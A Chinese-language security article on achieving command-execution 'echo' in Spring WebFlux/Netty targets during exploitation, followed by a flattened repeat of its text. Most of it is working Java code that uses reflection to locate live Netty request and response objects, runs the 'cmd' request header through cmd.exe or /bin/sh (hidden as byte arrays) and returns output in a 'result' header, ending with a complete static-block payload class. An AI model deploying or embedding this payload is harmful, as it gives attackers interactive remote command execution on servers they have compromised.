Netty之与众不同的回显
字数 1627 2025-08-25 22:59:15

Netty回显技术深入解析与实现

前言

在Web安全领域,回显技术是漏洞利用中的关键环节。本文深入分析基于Netty框架的回显实现技术,特别是在WebFlux环境下如何获取请求和响应对象,并实现命令执行结果的回显。

环境背景

目标环境使用Spring Reactive Web(响应式Web)构建,基于Netty框架,不依赖传统的javax.servlet包。这与传统的Spring或Tomcat环境不同,需要采用新的技术手段获取请求和响应对象。

技术探索过程

初始思路:获取Request对象

  1. 线程分析

    • 通过反射调用Thread.getThreads()获取所有线程
    • 筛选包含DefaultLoopResources$EventLoop的线程对象
  2. 获取线程本地存储

    • 反射获取threadLocalMap属性
    • 获取indexedVariables数组
  3. 遍历查找请求对象

    • 查找CodecOutputList$CodecOutputLists对象
    • 获取其elements数组
    • 最终找到HttpRequest对象
try {
    Method method = Thread.class.getDeclaredMethod("getThreads");
    method.setAccessible(true);
    Object threads = method.invoke(null);
    for (int i = 0; i < Array.getLength(threads); i++) {
        Object thread = Array.get(threads, i);
        if (thread.getClass().getName().contains("DefaultLoopResources$EventLoop")) {
            Object threadLocalMap = getFieldValue(thread, thread.getClass().getSuperclass(), "threadLocalMap");
            if (threadLocalMap == null) continue;
            Object[] indexedVariables = getFieldValue(threadLocalMap, threadLocalMap.getClass(), "indexedVariables");
            if (indexedVariables == null) continue;
            for (Object codecLists : indexedVariables) {
                if (codecLists == null || !codecLists.getClass().getName().contains("CodecOutputList$CodecOutputLists")) {
                    continue;
                }
                Object[] elements = getFieldValue(codecLists, codecLists.getClass(), "elements");
                if (elements == null) continue;
                for (Object codeclist : elements) {
                    if (codeclist == null) continue;
                    Object[] array = getFieldValue(codeclist, codeclist.getClass(), "array");
                    if (array == null) continue;
                    for (Object obj : array) {
                        if (obj instanceof HttpRequest) {
                            HttpRequest httpRequest = (HttpRequest) obj;
                            if (httpRequest.headers().contains("test")) {
                                System.out.println(httpRequest.headers().get("test111111111111111"));
                            }
                        }
                    }
                }
            }
        }
    }
} catch (Exception e) {
    e.printStackTrace();
}

进阶探索:同时获取Request和Response

发现reactor.netty.http.server.HttpServerOperations对象同时包含请求和响应:

  1. 获取NioEventLoop对象

    • 同样从线程开始
    • 查找NioEventLoop对象
  2. 深入Selector层级

    • 获取unwrappedSelector属性
    • 获取fdMap映射表
  3. 获取Socket通道

    • 遍历fdMap获取SelectionKeyImpl
    • 获取attachment属性(NioSocketChannel对象)
  4. 最终获取HttpServerOperations

    • 获取attributes数组
    • 获取DefaultAttributevalue属性
    • 得到HttpServerOperations对象,内含nettyRequestnettyResponse
try {
    Method method = Thread.class.getDeclaredMethod("getThreads");
    method.setAccessible(true);
    Object threads = method.invoke(null);
    for (int i = 0; i < Array.getLength(threads); i++) {
        Object thread = Array.get(threads, i);
        if (thread.getClass().getName().contains("DefaultLoopResources$EventLoop")) {
            Object threadLocalMap = getFieldValue(thread, "threadLocalMap");
            if (threadLocalMap == null) continue;
            Object[] indexedVariables = getFieldValue(threadLocalMap, "indexedVariables");
            if (indexedVariables == null) continue;
            for (Object nioEventLoop : indexedVariables) {
                if (nioEventLoop == null || !nioEventLoop.getClass().getName().contains("NioEventLoop")) {
                    continue;
                }
                Object kQueueSelectorImpl = getFieldValue(nioEventLoop, "unwrappedSelector");
                if (kQueueSelectorImpl == null) continue;
                Map fdMap = getFieldValue(kQueueSelectorImpl, "fdMap");
                for (Object obj : fdMap.values()) {
                    Object ski = getFieldValue(obj, "ski");
                    if (ski == null) continue;
                    Object attachment = getFieldValue(ski, "attachment");
                    Object[] attributes = getFieldValue(attachment, "attributes");
                    for (Object attribute : attributes) {
                        Object value = getFieldValue(attribute, "value");
                        Object request = getFieldValue(value, "nettyRequest");
                        Object response = getFieldValue(value, "nettyResponse");
                        if (request instanceof HttpRequest) {
                            HttpRequest httpRequest = (HttpRequest) request;
                            System.out.println(httpRequest);
                        }
                        if (response instanceof HttpResponse) {
                            HttpResponse httpResponse = (HttpResponse) response;
                            System.out.println(httpResponse);
                        }
                    }
                }
            }
        }
    }
} catch (Exception e) {
    e.printStackTrace();
}

回显实现方案

虽然获取到了Response对象,但发现无法直接写入body内容,最终采用header回显方案:

  1. 命令执行

    • 从请求头获取cmd参数
    • 执行系统命令
  2. 结果回显

    • 将命令执行结果放入响应头的result字段
    • 替换换行符为空格保证header格式正确
String s = httpRequest.headers().get("cmd");
if (s != null && !s.isEmpty()) {
    String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") 
        ? new String[]{new String(new byte[]{99, 109, 100, 46, 101, 120, 101}), "/c", s} 
        : new String[]{new String(new byte[]{47, 98, 105, 110, 47, 115, 104}), "-c", s};
    byte[] bytes = new java.util.Scanner(new ProcessBuilder(var12).start().getInputStream())
        .useDelimiter("\\A").next().getBytes();
    httpResponse.headers().add("result", new String(bytes).replace("\n", " "));
}

通用性优化

发现不同Netty环境使用不同的EventLoop模型(如NioEventLoopEpollEventLoop等),原方案不通用,改进为从HttpServerConfig获取:

  1. 获取NettyWebServer线程
  2. 获取disposableServer对象
  3. 获取httpServerConfig对象
  4. 获取channelGroup集合
  5. 遍历channel获取attributes
if (thread.getClass().getName().contains("NettyWebServer")) {
    Object val$disposableServer = getFieldValue(thread, "val$disposableServer");
    Object httpServerConfig = getFieldValue(val$disposableServer, "config");
    Set<Object> channelGroup = getFieldValue(httpServerConfig, "channelGroup");
    for (Object channel : channelGroup) {
        Object[] attributes = getFieldValue(channel, "attributes");
        // ... 后续处理同上
    }
}

完整实现代码

import io.netty.handler.codec.http.HttpRequest;
import io.netty.handler.codec.http.HttpResponse;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;
import java.util.Set;

public class NettyEchoDemo {
    static {
        try {
            boolean stop = false;
            Method method = Thread.class.getDeclaredMethod("getThreads");
            method.setAccessible(true);
            Object threads = method.invoke(null);
            for (int i = 0; i < Array.getLength(threads); i++) {
                Object thread = Array.get(threads, i);
                if (thread.getClass().getName().contains("NettyWebServer")) {
                    Object val$disposableServer = getFieldValue(thread, "val$disposableServer");
                    Object httpServerConfig = getFieldValue(val$disposableServer, "config");
                    Set<Object> channelGroup = getFieldValue(httpServerConfig, "channelGroup");
                    for (Object channel : channelGroup) {
                        Object[] attributes = getFieldValue(channel, "attributes");
                        for (Object attribute : attributes) {
                            if (attribute != null) {
                                Object value = getFieldValue(attribute, "value");
                                Object request = getFieldValue(value, "nettyRequest");
                                Object response = getFieldValue(value, "nettyResponse");
                                if (request instanceof HttpRequest) {
                                    HttpRequest httpRequest = (HttpRequest) request;
                                    HttpResponse httpResponse = (HttpResponse) response;
                                    String s = httpRequest.headers().get("cmd");
                                    if (s != null && !s.isEmpty()) {
                                        String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") 
                                            ? new String[]{new String(new byte[]{99, 109, 100, 46, 101, 120, 101}), "/c", s} 
                                            : new String[]{new String(new byte[]{47, 98, 105, 110, 47, 115, 104}), "-c", s};
                                        byte[] bytes = new Scanner(new ProcessBuilder(var12).start().getInputStream())
                                            .useDelimiter("\\A").next().getBytes();
                                        httpResponse.headers().add("result", new String(bytes).replace("\n", " "));
                                    }
                                    stop = true;
                                }
                            }
                            if (stop) break;
                        }
                        if (stop) break;
                    }
                }
                if (stop) break;
            }
        } catch (Exception ignored) {}
    }

    private static <T> T getFieldValue(Object obj, String fieldName) throws Exception {
        Field field = null;
        Object value = null;
        Class<?> clazz = obj.getClass();
        while (clazz != null) {
            try {
                field = clazz.getDeclaredField(fieldName);
                clazz = null;
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
        if (field != null) {
            field.setAccessible(true);
            value = field.get(obj);
        }
        return (T) value;
    }
}

技术要点总结

  1. Netty环境特殊性

    • 不依赖javax.servlet
    • 需要新的方式获取请求和响应对象
  2. 对象获取路径

    • 线程 → EventLoop → threadLocalMap → indexedVariables
    • 或者:NettyWebServer → disposableServer → httpServerConfig → channelGroup
  3. 回显限制

    • 当前方案只能通过header回显
    • 尚未找到直接写入response body的方法
  4. 通用性考虑

    • 需要考虑不同Netty环境下的EventLoop实现差异
    • 从HttpServerConfig获取的方案更具通用性

参考资源

后续研究方向

  1. 寻找直接写入response body的方法
  2. 研究不同Netty版本间的兼容性问题
  3. 探索更简洁的请求/响应对象获取方式
Netty回显技术深入解析与实现 前言 在Web安全领域,回显技术是漏洞利用中的关键环节。本文深入分析基于Netty框架的回显实现技术,特别是在WebFlux环境下如何获取请求和响应对象,并实现命令执行结果的回显。 环境背景 目标环境使用Spring Reactive Web(响应式Web)构建,基于Netty框架,不依赖传统的 javax.servlet 包。这与传统的Spring或Tomcat环境不同,需要采用新的技术手段获取请求和响应对象。 技术探索过程 初始思路:获取Request对象 线程分析 : 通过反射调用 Thread.getThreads() 获取所有线程 筛选包含 DefaultLoopResources$EventLoop 的线程对象 获取线程本地存储 : 反射获取 threadLocalMap 属性 获取 indexedVariables 数组 遍历查找请求对象 : 查找 CodecOutputList$CodecOutputLists 对象 获取其 elements 数组 最终找到 HttpRequest 对象 进阶探索:同时获取Request和Response 发现 reactor.netty.http.server.HttpServerOperations 对象同时包含请求和响应: 获取NioEventLoop对象 : 同样从线程开始 查找 NioEventLoop 对象 深入Selector层级 : 获取 unwrappedSelector 属性 获取 fdMap 映射表 获取Socket通道 : 遍历 fdMap 获取 SelectionKeyImpl 获取 attachment 属性( NioSocketChannel 对象) 最终获取HttpServerOperations : 获取 attributes 数组 获取 DefaultAttribute 的 value 属性 得到 HttpServerOperations 对象,内含 nettyRequest 和 nettyResponse 回显实现方案 虽然获取到了Response对象,但发现无法直接写入body内容,最终采用header回显方案: 命令执行 : 从请求头获取 cmd 参数 执行系统命令 结果回显 : 将命令执行结果放入响应头的 result 字段 替换换行符为空格保证header格式正确 通用性优化 发现不同Netty环境使用不同的EventLoop模型(如 NioEventLoop 、 EpollEventLoop 等),原方案不通用,改进为从 HttpServerConfig 获取: 获取NettyWebServer线程 获取disposableServer对象 获取httpServerConfig对象 获取channelGroup集合 遍历channel获取attributes 完整实现代码 技术要点总结 Netty环境特殊性 : 不依赖 javax.servlet 需要新的方式获取请求和响应对象 对象获取路径 : 线程 → EventLoop → threadLocalMap → indexedVariables 或者:NettyWebServer → disposableServer → httpServerConfig → channelGroup 回显限制 : 当前方案只能通过header回显 尚未找到直接写入response body的方法 通用性考虑 : 需要考虑不同Netty环境下的EventLoop实现差异 从HttpServerConfig获取的方案更具通用性 参考资源 Netty实战教程 Java Object Searcher工具 后续研究方向 寻找直接写入response body的方法 研究不同Netty版本间的兼容性问题 探索更简洁的请求/响应对象获取方式